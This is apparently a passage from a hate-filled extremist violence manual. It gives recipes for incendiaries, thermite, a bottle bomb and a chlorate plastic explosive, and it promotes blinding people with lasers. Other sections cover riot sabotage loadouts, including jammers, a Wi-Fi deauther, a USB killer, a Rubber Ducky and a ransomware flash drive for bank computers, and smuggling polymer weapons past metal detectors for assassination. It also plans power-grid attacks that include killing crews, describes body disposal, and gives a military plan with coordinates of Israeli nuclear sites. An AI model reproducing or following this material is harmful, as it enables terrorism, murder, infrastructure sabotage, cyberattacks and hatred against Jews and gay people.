- You will eventually wind up with a dough like material that is highly sticky and very flammable. This material is like napalm and will burn for hours.
- It is not safe to handle bare handed or near a source of ignition.
- You can burn cars to the frame with a handful of this material.
Videos Of This Mixture:
https://youtube.com/watch?v=8vLESJmkLg0
https://youtube.com/watch?v=mWbRCQawB24
https://youtube.com/watch?v=wKmYxxaFko0
https://youtube.com/watch?v=9RD_LHZCCDM
• Get iron oxide, powdered aluminum, a metal thermos for coffee and magnesium ribbon.
• Here is an infographic:
https://archive.is/QJ4Ly/584809f0f0a6d1ca3f47df90840beec356701685.png
• Put the thermite in a coffee thermos to concentrate the thermal energy and the flow of liquid thermite into the hood of a car, a pipeline, a locked hatch, etc.
Videos Of Thermite:
https://youtube.com/watch?v=M3ZkoNF2ybg
https://youtube.com/watch?v=zRZFTJe22Tg
https://youtube.com/watch?v=rdCsbZf1_Ng
https://m.youtube.com/watch?v=RXQnIgrXJd8
• Negative X:
https://youtube.com/watch?v=I7vXvLvowgI
https://youtube.com/watch?v=bxNMzdOJGS4
https://youtube.com/watch?v=XFR1VeDOKs8
https://youtube.com/watch?v=05JTYmkhrMI
https://youtube.com/watch?v=t8k9yaz-7Rs
• Get chlorine pool tablets and brake fluid.
- Crush pool tablets into a fine powder.
- To start a fire, pour brake fluid on it.
- To create an explosion, put chlorine powder into a ziploc bag. Seal it all the way up to one corner. Leave one corner barely open. Fill a small coke bottle halfway with brake fluid. Roll bag into a tube and insert the bag slowly. Seal the bottle up tight. Shake it as hard as possible for five seconds and throw it immediately. It will pressurise and explode, like the works bomb.
Videos Of This:
https://youtube.com/watch?v=SSNPtuAcTm0
https://youtube.com/watch?v=0ckbDDAdmp8
https://youtube.com/watch?v=SB4SXIS7Z2c
https://youtube.com/watch?v=Tm_BCJN5jbc
https://youtube.com/watch?v=KXNMtVx4DaM
https://youtube.com/watch?v=quutyx3gYTA
• Poor Man's C4
- 9 Parts Potassium Chlorate, 2 parts Vaseline. (9/2 works better than 9/1 allegedly)
- Mix into a paste completely.
- You will need a #8 blasting cap for detonation.
- This is very stable.
Links:
https://en.wikipedia.org/wiki/Cheddite
https://youtube.com/watch?v=u8gk5bqUT-Q
https://youtube.com/watch?v=BR147FK5Dtw
https://youtube.com/watch?v=b4tVR9AdwpE
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Eye Raping:
This is my favorite section and my favorite weapon, the blinding, burning, one watt infrared laser pointer. Humans can not see infrared. So, when you are looking at a spot pointed at by infrared lasers you will see a faint violet dot and then come to realize you can no longer see the color red, forever. Directly looking at a infrared laser beam without laser safety goggles will pop your fucking retinas and fry your optic nerves before you realize what is happening to you. No world leader on Earth has laser safety goggles on, 24/7. No one anticipates being blinded by infrared lasers. It is not conventional at all so it isn't planned for. But make no mistake, infrared lasers are here and you can use them on your enemies.
Antifa adopted lasers because Hong Kong protestors used lasers. The cat is out the bag. Expect lasers to become used more often until some Jew cuckservative politician faggot tries to ban them. Antifa, for the most part, uses cheap green lasers (532nm wavelength) and medium to high quality blue lasers (445nm - 450nm wavelength)
Videos Of Lasers:
https://youtube.com/watch?v=bl23sp9prvk - Blue Laser
https://youtube.com/watch?v=DMVWW-bmKwQ - Blue Laser
Buy Blue Laser Safety Goggles:
https://www.survivallaser.com/Eagle_Pair_190540nm_Standard_Laser_Safety_Goggles/p556088_2780808.aspx
https://www.survivallaser.com/Eagle_Pair__190-540nm___800-2000nm_Laser_Safety_Goggles/p556088_4768519.aspx
https://youtube.com/watch?v=aa_tCzIMJjE - Infrared Laser
https://youtube.com/watch?v=gogM7iNAO2A - Infrared Laser
https://youtube.com/watch?v=-1Nel01TzFI - Infrared Laser
https://youtube.com/watch?v=Tqw70owXXMc - Infrared Laser
https://youtube.com/watch?v=v9pye4NvLi4 - Infrared Laser
https://youtube.com/watch?v=tMvo0-ZlJGg - Infrared Laser
Buy Infrared Laser Safety Goggles:
https://lasersafetyindustries.com/uv-and-ir-laser-safety-glasses?gclid=EAIaIQobChMIyfSMxb6o7AIV1ODICh0v_ANFEAQYASABEgI6APD_BwE
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Lasers, Laser Safety Equipment, Criminal Intent, Unlawful Assembly & You
There are three types of people who interact with lasers at a riot, event, plot, etc.
- People in imminent danger of permanent blindness
- People using a laser to put people in imminent danger of permanent blindness
- People standing next to or around people using a laser to put people in imminent danger of permanent blindness
When you go to a riot, someone will have a laser. There is always one laser guy in the vicinity with some cheap ass eBay glasses on or maybe they are so fucking dumb they have none. Maybe you are so dumb, you have none. The first step to never going blind in a riot, due to lasers, is to stay the fuck at home. The next step to not going blind is to get laser safety goggles for the Green and Blue wavelengths. Any good pair of 190-540nm laser safety goggles with an optical density of at least 5 will be sufficient enough to protect you. Only a highly intelligent, malicious and calculating individual would bring a 808nm/980nm/etc infrared laser to a riot. They are harder to find and will take months to reach you if you order one as they will likely come from China after being custom built and shipped off. You never have to really worry about a high powered infrared laser at a riot. You will see three different types of lasers for the most part at a riot. Red, Green or Blue. Green and Blue being the most practical, Green being the most common and Blue being the most powerful. Antifa motherfuckers were never smart. A bunch of dumb, self-hating, White guilt harboring baizuo suburban trustafarian faggots overthrowing the Republic Of Starbucks isn't exactly the paragon of laser safety. You see them on groups like Richmond Rebellion, talking about light mage this and light mage that. A light mage is the designated laser person at a protest. And of course, none of these fucking idiots use laser safety protocols or eye protection. Antifa is full of cowards that crease when slapped so this is why they sling 100mW eBay lasers around to permanently blind people. You have to be mindful that at any protest, one of these faggots is likely in possession of a $9 laser from Wish or Alibaba or eBay, classed as a <1mW laser to be sold legally and some cheap ass glasses that don't protect worth a fuck and is pretty much the equivalent of playing Russian Roulette with your eyes.
The first step you need to take before you get involved with a laser is to make an account on a hobbyist laser forum and/or go to a repository of laser knowledge and get educated.
- https://laserpointerforums.com/ - Laser Pointer Forums
- https://www.laserpointersafety.com/ - Laser Pointer Safety
- https://www.candlepowerforums.com/vb/forum.php - Candle Power Forums
- https://www.osha.gov/laser-hazards - OSHA Laser Safety
- https://en.wikipedia.org/wiki/Laser_safety - Laser Safety, Wikipedia
An ounce of prevention is worth a pound of cure. Once you have studied enough to where you can remember this information, go on YouTube, to these YouTube channels and learn more about laser safety:
- https://www.youtube.com/playlist?list=PLOylA5ZYL2hjvg8Kdy4sIFKUS5Uf-3uWj - XM360
- https://www.youtube.com/channel/UCz_KWVI8li5gLXeVafAdrag - idelieveredit/Laseranon
- https://www.youtube.com/channel/UCJYJgj7rzsn0vdR7fkgjuIA - Styropyro
- https://www.youtube.com/user/AnselmoFanZero - LaserGadgets
- https://www.youtube.com/channel/UC7IxnbDnV10s7HF72UOrECQ - Lazerphaze
- https://www.youtube.com/channel/UCRLIh1CVQFvFQgTv0hwkhGQ - Laser Focus
- https://www.youtube.com/channel/UCirpU1BoynwpSuey694HN_w - PyroGadgets
Next, figure out what kind of laser it is that you want. What wavelength, what power?
- https://en.wikipedia.org/wiki/List_of_laser_types
- https://www.youtube.com/watch?v=N94mZAfZpys
- https://fas.org/man/dod-101/navy/docs/laser/fundamentals.htm
- http://www.starkeffects.com/laser_wavelengths.shtml
- https://www.lasersafety.com/resources/laser-safety-guide/
- https://www.researchgate.net/figure/Wavelengths-of-common-medical-lasers-courtesy-of-Dr-Albert-Poet-Shore-Laser-Center_fig1_231009441
More Laser Safety Information:
- https://www.laserpointersafety.com/laserglasses/laserglasses.html
- https://laserpointerforums.com/threads/get-some-safety-goggles-now.75799/
- https://laserpointerforums.com/threads/irreversible-vision-damage-dont-turn-a-blind-eye-to-laser-hazards.71299/
Before you obtain any laser, you will need laser safety goggles. But before you look into that, watch this video:
- https://youtu.be/WnDjIDhxnMs
Survival Laser is a highly respected and recommended storefront for laser safety goggles. You can trust their stuff.
https://www.survivallaserusa.com/Safety_Goggles/cat1667093_1527285.aspx - USA buyers go here
https://www.survivallaser.com/Safety_Goggles/cat556089_826120.aspx - None USA buyers go here
These goggles will protect you from Red, Green and Blue lasers, commonly found in political riots:
- Eagle Pair® 190-540nm + 610-760nm DUAL BANDWIDTH Laser Safety Goggles
- Eagle Pair® COMBO 190-540nm & 580-760nm Laser Safety Goggles (WEAR BOTH)
- Eagle Pair® 190-540nm & 800-1700nm OD5 Laser Safety Goggles (DOES NOT PROTECT AGAINST RED)
- Eagle Pair® 190-540nm OD6 Standard Laser Safety Goggles (DOES NOT PROTECT AGAINST RED)
- Eagle Pair® 190-400nm & 580-760nm Laser Safety Goggles (DOES NOT PROTECT AGAINST 405NM+ BLUE OR 532NM GREEN)
Blue and Green lasers are the most common you will find at a riot. Red is an inefficient wavelength and Antifa knows it. Here are some good very high power lasers
- https://www.sanwulasers.com/ - Sanwu Lasers
- https://www.sanwulasers.com/product/304blue (1.6W or 3W)
The B-960 B Series Blue Laser Pointer with Safety Key Switch (1.6 Watts, 445nm)
- https://www.ebay.com/itm/233968665547?hash=item36799e83cb:g:98kAAOSwUT9geQT9
Alternate Links:
- https://www.ebay.com/itm/232823235082?hash=item363558a20a:g:6fUAAOSwbVNbM6-u
- https://www.ebay.com/itm/333958919000?hash=item4dc180b358:g:jPAAAOSwMalgdqA1
If you can find it, get these cheap lasers from US sellers:
- https://www.ebay.com/itm/194032599662?hash=item2d2d3e826e:g:PqcAAOSwKhJgdDS0
- https://www.ebay.com/itm/194053040180?hash=item2d2e766834:g:PqcAAOSwKhJgdDS0
- https://www.ebay.com/itm/154186542470?hash=item23e63bed86:g:dWcAAOSw4dNfqQac
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Chaos And Accelerationism
What are you? Leftist? Right wing? Nazi? Commie? Centrist? Gay? Ask yourself these questions and conceptualize what your tribe is and the cause you fight for. For whom do you fight? Ponder on it. Unless you are in the middle of a riot. Then stop doing that shit and fucking focus. You have a group and a cause and you came to blow some shit down so what y'all on? Are you on that time or not? Ask yourself this. Be mindful that there are at least fifty motherfuckers around you with cameras so if you didn't mask up, you clearly fucked up.
Everyone is screaming and freaking the fuck out.
People are smashing windows. People are being shot by foam batons and rubber bullets.
The gas is flying. People are getting maced. Reinforcements are coming.
The ADS is being used. The cops are about to club you and your buddies.
What is your intent in this riot? Ask yourself this.
If you came to steal guns, steal guns. If you came to steal money, steal money.
If you came to fuck shit up, fuck shit up. But, it's not always that easy.
You need plans. You need to be able to defend yourself. And, you need to be able to do shit.
If you want maximum chaos on the streets:
- You need to go after infrastructure.
- You need to pass out weapons to the crowd.
- You need to be bold.
- You need to be fast.
- You need to plan with some cats you fuck with and trust.
- You need to be smart, i.e. No cellphones.
- You need to be hoodied and masked up. Head to toe.
- You need to have patience
- You need wisdom.
- You need to think outside the box.
What should you or at least one of your dudes take to a riot?
- Cellphone Jammer
- Wifi Deauther
- USBKiller
- Hak5 Rubber Ducky
- Baofeng
- Flashlights
- Melee Weapons
- Laser Safety Goggles and maybe a laser, though probably not if you came in a group. Just take the goggles, all of you.
- Two different sets of all black clothes, head to toe, a second set for all of you, in the car.
- One set normal clothes in the car for all of you.
- A duffel bag or backpack
- A reciprocating saw with carbide steel blades
- Charged extra batteries
- Bolt cutters
- Padlocks
- Drills
- Flash drive with ransomware or something on it
- Guns with brass catchers and suppressors
- Smoke grenades.
- A vehicle you can walk to, half a mile from the riot, away from cameras.
- A plan with two back up plans
- A brain
- Some armor
Make sure you can be mobile with the loadout your small cell group chose.
There are many ways to fuck up shit in a riot. You could put ransomware on a bank computer during a riot.
You could steal some new phones, some guns, whatever. You could fry a bunch of computers.
You could capture the 4 way handshake of every router in the block and have free wifi in that area for life.
You could destroy junction boxes, saw down pylons, block bridges with stolen cars.
You could shit on food in a grocery store aisle, making them throw everything out.
You could do a lot.
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Melee Tips:
• Never use cutting blade metal knives for combat. If you must, carry a ceramic cutting blade. It will have a metallic content but it will be negligible compared to a steel blade. This allows you to go many places armed.
• Obtain thick polymer knuckle dusters for assaults and hammerfist blows. These knuckles will be undetectable by a metal detector. Again, a weapon you can carry almost anywhere.
• For a stabbing weapon, obtain a polymer spike weapon. It will be undetectable by a metal detector.
• Polymer weapons are only detectable by conveyor belt X-ray scanners typically found in checkpoints with bodywide metal detectors.
• Polymer weapons are also detectable by body scanners typically found in airports.
- Many courthouses have no body scanners. They only have metal detectors, allowing polymer weapons to be brought on the person.
- All state capitol buildings have no body scanners. They only have metal detectors, allowing polymer weapons to be brought on the person for offense, defense or assassination.
- Low level government buildings can not detect polymer weapons.
• Steel toed boots can be worn in every government building and hospital. It is not illegal.
- Steel toed boots are a good self-defense tool.
- You can wear your boots and be waived through a checkpoint.
• If you must carry a metal weapon, carry triangular pointed metal knuckles. These edged concentrated points maximize damage and fracture bones with ease. Also, spring batons. It is only illegal if you are caught. Obviously you can not take these anywhere near secure places.
• Another good weapon is weighted knuckle gloves, also known as leather sap gloves. Wear a motorcycle jacket or motorcycle gear to justify wearing weighted knuckle gloves. In a totalitarian shithole like NYC, sap gloves are legal. You can beat the shit out of people with sap gloves while protecting your hands.
• A good concealed knife is a wallet folding credit card knife. They are polymer and metal. They are highly concealed, lightweight and good for stabbing and cutting.
*Note:
• You can NOT wear any of this shit (gloves and boots) in an airport without getting hard scrutiny, nor can you carry any of these weapons in a airport. Check your local laws. If your state bans metal knuckles, carry polymer.
• In Minnesota, NYC or DC, both are banned. Wear sap gloves. Or carry them anyways.
• In my home state, you can open carry metal knuckles but concealed carry is illegal. Polymer knuckles are not even discussed so it is grey legally. It is safe to assume you may conceal carry polymer knuckledusters. However, if you use them, expect "assault with a deadly weapon" charges.
• DO NOT USE MELEE WEAPONS. EVER. IF YOU CAN HELP IT. It is a legal nightmare to explain melee self-defense under a justice system biased towards weapon ownership and freedom. You're better off with a gun in many cases. Baseball bats and hammers do not a self defense case make.
• The best weapon to use in defense or offense is a gun or a laser pointer in the 400mw and above ranges.
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Fuck Electricity:
• The vulnerable points on a transformer are ceramic bushings, the oil conservator tanks and the iron core, wrapped in miles of spaghetti-like copper wire.
- Ceramic bushings are insulators. They are also pressurized. Shooting them will cause an explosion with shrapnel.
- Perforation of a oil conservator tank or shooting out the fans will cause a transformer to immediately overheat.
- Shoot the iron core. It's in the center of the transformer. So light it up. Break all that copper wire spooled around and throughout the core.
• The best timeframe to hit the grid is the summer when the grid is at its absolute strain in at least 80°F+
• The best time to hit the grid is at night between 11pm to 2am. The cops will be tired and there will be a shift change around 3 - 4am. You want tired hungry cops. Not freshly awake cops who just ate.
• Mylar foil balloons cause power shortages. You can use these to your advantage.
Here are some videos:
https://youtube.com/watch?v=fclA3k2iHQk - Mylar Balloon vs. Power Line
https://youtube.com/watch?v=VjSO9GqqeKQ - Mylar Balloons Illinois Outage
https://youtube.com/watch?v=52a43geFd2M - Mylar Balloon Safety
https://youtube.com/watch?v=AnqbHMkUUpI - Metallic Balloon Shorts Line
https://youtube.com/watch?v=nBo61wyHyyU - Girl Blackouts An Entire Street
https://youtube.com/watch?v=RlEDDlSvXLA - Ceramic Bushing Insulators
https://youtube.com/watch?v=SH2aS3z_3qY - Shooting Porcelain Insulators
https://youtube.com/watch?v=M1NM6rlSwqA - Exploding Ceramic Arrestor
https://youtube.com/watch?v=wBbkrEBrqgc - Oil Conservator Tank Install
https://youtube.com/watch?v=qRXaHG5FLZE - Silica Gel Breathers And Oil Tank
https://youtube.com/watch?v=Ya9jRzpyYlo - Oil Tank Purpose
https://youtube.com/watch?v=XrIXioEn3yQ - Iron Core Variants Of Transformers
https://youtube.com/watch?v=_yRu-a9HjXI - Core Winding
https://youtube.com/watch?v=hrYotAoAgaw - Core Materials
Metcalf:
https://en.wikipedia.org/wiki/Metcalf_sniper_attack
Why Metcalf Failed:
• They did not build several spark gap transmitters to jam the radios the crew at the substation used to communicate.
• They did not kill the on-site crewmen. You want Blackout? Kill the people paid to stop one when you go to shoot the place up.
• They did not suppress their rifles to confused concerned people in the area as to the direction of the gunshots.
• They did not bring a jammer that would jam radio and cell service because the crewmen could have still called 911.
• They did not lure Police/Fire/EMS somewhere else with a hoax bomb threat on a airport or hospital.
• They fired indiscriminately from a vantage point with AK-47s.
• They did not release a bunch of mylar balloons to short circuit everything and then take shots at key parts of every transformer.
• They did not bring down a cell tower by cutting the big ass fiber optic cable connected to it with a wood handled fire axe.
Metcalf was done horribly fucking wrong. They should have cut cell towers as well as that area's underground phone lines.
They should have jammed broadband radio.
They should have aimed at the bushings/insulators, the tanks, the breathers, the center mass of the transformer.
PG&E was able to radio out so power was redirected.
People were able to call 911 so police interrupted the attack.
Crewmen were not killed so they were able to call for help.
The only good thing they did was using flashlights for subvocal communication and cutting the underground landline phone lines before the attack.
Biggest fuckup of Metcalf:
• Using AK-47s. They should have used bolt action scoped rifles.
• Not using brass catchers. They left over a hundred casings.
• Not killing personnel.
• Not jamming broadband radio or GSM/CDMA.
• Not making a hoax bomb threat on a airport to redirect 70% of the police miles away.
And now, a diagram of a transformer:
https://circuitglobe.com/what-is-a-transformer.html
And lastly, the vulnerable points on a transformer are:
• The Oil Conservator Tank
• Ceramic Bushings
• Core Winding
• Silica Gel Breathers
You shoot these with a scoped rifle at 2 story level elevation with cover from bushing shrapnel. Do not fire indiscriminately from a spider hole and leave 100+ shells on the ground.
I know retarded people will read this so let me explain to you:
• Cut the fucking cable to a cell tower, no E911
• Shoot breathers, overheating
• Shoot oil tank, overheating and not cooling
• Shoot bushings, no way to connect as the circuit is stopped.
• Shoot iron core, winding is being ripped by bullets, not connecting.
• Shoot personnel, they can't radio for help.
• Bring spark gap transmitters, they jam broadband radio.
Spark Gap Transmitters:
https://youtube.com/watch?v=SnKKj2bonAI
https://en.wikipedia.org/wiki/Spark-gap_transmitter
https://www.electronics-notes.com/articles/history/spark-gap-transmitters/operation-how-does-spark-gap-transmitter-work.php
https://steemit.com/steemstem/@proteus-h/diy-spark-gap-radio-transmitter-and-explanation
https://www.instructables.com/Simple-broadband-jammer/
https://youtube.com/watch?v=U8HKgoV5dAQ
• Lattice Steel Transmission Towers, aka, Pylons.
• A pylon, or transmission tower, is like the WiFi repeater of power. It carries power from the distribution substations to your neighborhoods' power poles and from there to the stepdown transformer on said pole and then into your house. Without pylons and stepdown transformers on power poles, you would not have a grid. They sustain the overhead power lines.
• Pylons are made of steel. Steel can be cut like butter with the right shit.
• A two-handed reciprocating saw can be used to cut down a steel transmission tower.
• The best blade to cut steel is a carbide-steel, bi-metallic blade, aka "Sawzall" type blades.
Links To Videos And Wikis On Pylons/Lattice Steel Transmission Towers:
https://en.wikipedia.org/wiki/Transmission_tower
https://www.drax.com/technology/the-history-of-the-pylon/
https://en.wikipedia.org/wiki/Overhead_power_line
https://youtube.com/watch?v=Itf5L3j11zQ - Pylon Explodes Into Fireball
https://youtube.com/watch?v=8XdmBnAlKIw - Building A Pylon
https://youtube.com/watch?v=OY72athcwvA - Power Line Blast
https://youtube.com/watch?v=B3uBtl4EeFo - Pylon Falls On Car
Links And Videos On Reciprocating Saws And Blades:
https://www.toolboxbuzz.com/cordless-tools/reciprocating-saw/cordless-reciprocating-saw-head-to-head/
https://youtube.com/watch?v=UWQBiLmbduQ - Best Saws, Ranked
https://youtube.com/watch?v=Wg1VzqhhKcs - Best Cordless Reciprocating Saws Of 2020
https://youtube.com/watch?v=uckHFP1pFZ4 - Sawzall Blade Cutting Metal
• If you cut down a pylon, you will remove a pylon from a long line of pylons from the substations to the cities. There will be some consequences of this. You will not end every light in existence, nor will you bring down a whole part of your state. One thing is for certain: It will take weeks to repair and your city will be blacked out for a while. They will have to go make a new pylon, turn off the local grid, go install the pylon with cranes and bolt it to the ground, connect it to the others with cables and turn that area's part of the grid back on. Not to mention, millions of dollars in damages.
• "Sawzall" blades are those bimetallic carbon-steel blades that you can saw through steel with.
• Diablo™ bimetallic blades are the best for cutting the type of steel found on pylons.
===============================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Bodies:
• There are only five common sense ways to truly eradicate a body, human or otherwise.
- Cremation
- Alkaline Hydrolysis
- Promession
- Nuclear Detonation
- Feeding Bodies To Sharks, Gators, Hogs, Etc.
• You likely do not have nukes so vaporization is out of the question.
• You also do not have a sun or black hole so there goes that.
• If you are friendly with a mortician who cremates bodies, you may be able to slip one more in on Anne Frank night if they don't have cameras.
• If you have a alkaline hydrolysis machine, you can liquefy bodies into a nutrient soup. But you likely won't. A mortician will.
• Promession or freeze drying is another way to powderize and disintegrate a body. But you likely won't have this technology. Few places do.
• You can feed a body to gators or hogs if you have a Floridian friend or some pig farmer connections.
• If you're near sharks, go feed the faggot to the sharks or whales before they rot but remember people float because they are full of gas and the lungs act as balloons. So, you might fail here too.
Dissolving a body in acid is Hollywood bullshit. Even cartels know that shit isn't true. It takes years. That is why they leave these barrels full of acid or lye after chopping some fucker up.
Don't believe any of that Hollywood shit. Get into a mortician job or get friendly with one or you will not be able to dispose of a body ever.
The methods I included from searching on the Hidden Answers onion are legitimate. These will totally dispose of the body. There will be nothing left, not even bones or teeth or hair.
Alkaline hydrolysis is the most efficient way of disposal of bodies. Get access to a alkaline hydrolysis machine or get one. There will be nothing left.
Cremation is less efficient but is the second most efficient way to dispose of a body. Buy a livestock incinerator and a farm
Promession and alkaline hydrolysis are environmentally friendly, provide nutrients, are cheaper and better than burial so you should probably ask about it for your funeral arraignments. Much less than a 20k box. Cremation is cheap but ashes can do fuck all nothing.
Alkaline Hydrolysis:
https://youtube.com/watch?v=iTD0GltXB50
https://youtube.com/watch?v=7Le7rLbkFe4
https://youtube.com/watch?v=sFuYijpLBDs
https://youtube.com/watch?v=YEePMR6X2YQ
https://youtube.com/watch?v=ad0u9K_QaGU
Promession:
https://youtube.com/watch?v=DN4bxwfQ3-k
https://youtube.com/watch?v=lIwEf8J2b34
https://youtube.com/watch?v=xR-zqEcgvPA
Cremation:
https://youtube.com/watch?v=6TSFX-hFgIk
===============================
# ###### # # ### ##### ####### ####### ####### ###### ### ###### # # #
# # # # # # # # # # # # # # # # # # # # ## #
# # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # ##### ##### # # ###### # ###### # # # # #
####### # # # # # # # # # # # # # # # ####### # # #
# # # # # # # # # # # # # # # # # # # # # ##
# # ###### # ### ##### ####### # ####### # # ### # # # # # #
How Iran Can Survive A War With The United States Of America Without Regime Change:
Before Any Of This:
• Iran must translate this or get an Iranian who speaks English to translate this.
• Go undercover and secretive with the Iranian nuclear program and keep working on the bomb.
• Be aware. The USA will plunge Iran into a civil war to avoid a US-Iran war, if they can. Iran is highly nationalist but also ethnically diverse. A civil war in Iran will lead to balkanization of Iran. You must avoid this at all costs.
• Form a plan to fall back into uninhabited flatlands of Iran, should Tehran fall to incursion. Order the Islamic Revolutionary Guard Corp to take power of the country in the event the Ayatollah and the regime are forced out.
• The Iranian government must unify the Kurds, Azeris, Lurz, Arabs, and Baluchs with the Persians, if possible.
• Fortify infrastructure against cyber attacks by using Linux and OpenBSD instead of Windows.
• Get all nuclear facilities off of Windows, immediately. At the very least, order workers to use Linux or OpenBSD based laptops.
• Have all government computers running Linux or OpenBSD.
• Eradicate or make peace with the Sunni Muslims, preventing Saudi Arabian influence from entering the country during a period of unrest.
• Form a peace deal with Syria, Oman, Iraq, Pakistan and Afghanistan, if at all possible
• Place anti-air defenses near ports and ships on the Iranian coast and near training sites.
• Place anti-air defenses capable of taking out B-2 Bombers near Natanz, Esfahan and other nuclear infrastructure sites.
Next, the Iranian military must do the following, in the event of a direct confrontation with the USA:
0) Mine the waters in the Strait Of Hormuz. Mine the main highways in the South of Iran. Establish checkpoints into roads leading North.
1) Use motorcycle carriers to relay messages and orders instead of radio communications ONLY. Use coded messages. Use light signals to launch planes. DO NOT USE RADIO, FOR ANYTHING.
2) Relay all US ship coordinates to short range missiles and launch them, taking out the ships in the Strait Of Hormuz.
3) Use suicide speedboats loaded with explosives to ram US cruisers and aircraft carriers to explode them. Use camouflaged civilian boats as well. Target Dubai Airport and Abu Dhabi in the UAE with short range missiles.
4) Shoot down planes using Radar.
5) Use anti-drone weaponry for drones.
6) Use cyberattacks on American and Saudi infrastructure, specifically oil and gas, using the Quds force.
Suggestion: Ransomware with no ransom and no means of decryption.
Target Saudi Arabian oil fields. Avoid ANY and ALL attacks in Europe, on European targets or soil.
Avoid ANY and ALL sleeper cell activation in Europe. Use defensive attacks for European forces only if they come to Iran.
DO NOT, UNDER ANY CIRCUMSTANCE provoke or involve NATO or the UN.
7) Launch anti-ship missiles off the coast of Yemen via Houthi rebels. Target oil tankers as well as American military.
8) Use mini-submarines to torpedo US surface vessels doing reconnaissance and surveillance. Use drones and a small strike force of planes to target from the air.
9) Order proxy militias in Iraq, Syria and Lebanon to target US military bases and troops.
10) Order militias in Yemen to mine the Suez canal with naval mines and to launch missiles at Saudi Arabia.
11) Target Saudi Arabia with Shahah-1 and Qiam missiles and artillery, going after ALL Water Treatment and Power Infrastructure.
12) Target Israel with artillery and rockets to overwhelm and exhaust the Iron Dome via Hezbollah. Order Syrian forces to capture Golan Heights. Support Palestinian forces. Have Palestians overthrow the Jordanian government. Have proxy militias fortify defenses in Lebanon and Syria to repel an Israeli invasion. Once the Iron Dome is empty, target Israel with some of Iran's supply of Shahah-3 ballistic missiles on key cities, hitting Dimona and Tel Aviv-Yafo first. Israel has nuclear weapons. Use must use an EMP on Israel or use anti-nuclear defences. Dimona and other nuclear sites must be the very first target. They have been included herein.
13) AVOID OVERT AND DIRECT RUSSIAN AND CHINESE MILITARY ASSISTANCE. EVERYONE WANTS TO BE VICTORIOUS. NO ONE WANTS TO BE NUKED.
14) Leave to the flatlands of Iran that are uninhabited. Have all the Ayatollah/Theocratic faction retreat to there and have the IRCG take power as a successor faction to establish order.
15) Return the Ayatollah to power via the military once the U.S. forces leave.
Hitler was a dumbass, but you don't have to be.
---------------------------------------------
### # # ####### ####### #
# ## # # # #
# # # # # # #
# # # # # ##### #
# # # # # # #
# # ## # # #
### # # # ####### #######
Israeli Key Targets In The Event Of A Israeli-Iranian War:
Negev Nuclear Research Center, Dimona
Negev Nuclear Research Center. Plutonium production and extraction facilities, along with other weapons-related infrastructure.
31.001504°N, 35.146723°E
Eilabun
Eilabun is Israel's second weapons storage facility. Tactical nuclear shells and land mines are among its contents.
32.760226°N, 35.412077°E
Kfar Zekharya
Suspected nuclear missile base and bomb storage storage facility.
31.766267°N, 34.88142°
Nahal Soreq
Soreq is the equivalent of the U.S. national weapons laboratories. The lab handles weapons design and construction as well as research.
31.766267°N, 34.88142°E
Yodefat
Suspected nuclear weapons assembly facility.
32.85093°N, 35.27916°E
Tirosh
Reportedly one of two Israeli nuclear weapons storage facilities. It is speculated that that Tirosh is the strategic weapons storage site, while Eilabun is the tactical weapons storage site.
31.751963°N, 34.863524°E
Rafael
Rafael has been responsible for the actual assembly of Israeli nuclear weapons.
32.889534°N, 35.09119°E
Ashdod
Sdot Micha Air Base (Nuclear)
https://www.nti.org/learn/facilities/392/
Be'er Sheva
Ben Gurion University of the Negev, Department of Nuclear Engineering (Education and Training)
https://www.nti.org/learn/facilities/423/
Jerusalem
Sdot Micha Air Base (Nuclear)
https://www.nti.org/learn/facilities/390/
Tel Aviv
Tel Aviv University Raymond and Beverly Sackler School of Physics and Astronomy Department of Particle Physics (Education and training)
https://www.nti.org/learn/facilities/424/
Rehovot
Weizmann Institute of Science (Education and Training, heavy water production)
https://www.nti.org/learn/facilities/376/
BONUS:
If Iran uses Unix/Linux instead of Windows on their computers, they will be more difficult to hack and if they use Linux/OpenBSD based servers and computers, the Iranian nuclear facilities will be safe from Jews:
https://www.kali.org/downloads/ - Kali Linux
https://www.parrotsec.org/download/ - ParrotSec Linux
https://www.openbsd.org/faq/faq4.html#Download - OpenBSD, Unix
https://archlinux.org/download/ - Arch Linux
https://www.qubes-os.org/ - Qubes Linux
https://www.whonix.org/ - Whonix
https://en.wikipedia.org/wiki/Lightweight_Portable_Security
https://www.techrepublic.com/article/tens-is-the-secure-bootable-linux-you-need/
TENS/LPS (Google it, ".mil" link for download. Use American VPN server)
https://en.wikipedia.org/wiki/List_of_Linux_adopters
(READ THIS)
https://itsfoss.com/why-use-bsd/
https://cfenollosa.com/blog/openbsd-from-a-veteran-linux-user-perspective.html
https://helpdeskgeek.com/linux-tips/bsd-vs-linux-the-basic-differences/
(TRANSLATE AND READ)
https://www.guru99.com/linux-differences.html
https://hackr.io/blog/linux-vs-windows
https://www.softwaretestinghelp.com/linux-vs-windows/
(TRANSLATE AND READ)
---------------------------------------------
Source:
https://www.youtube.com/watch?v=FCuoj5Dz6VI
https://www.youtube.com/watch?v=1p18qdZG3QU
https://www.youtube.com/watch?v=NU0skOCywGk
https://www.youtube.com/watch?v=BfedV3Bl6YI
https://www.youtube.com/watch?v=AccjEv2eVe0
https://www.atomicarchive.com/almanac/facilities/israeli-facilities.html
https://gmap.nti.org/nuclear_israel.html
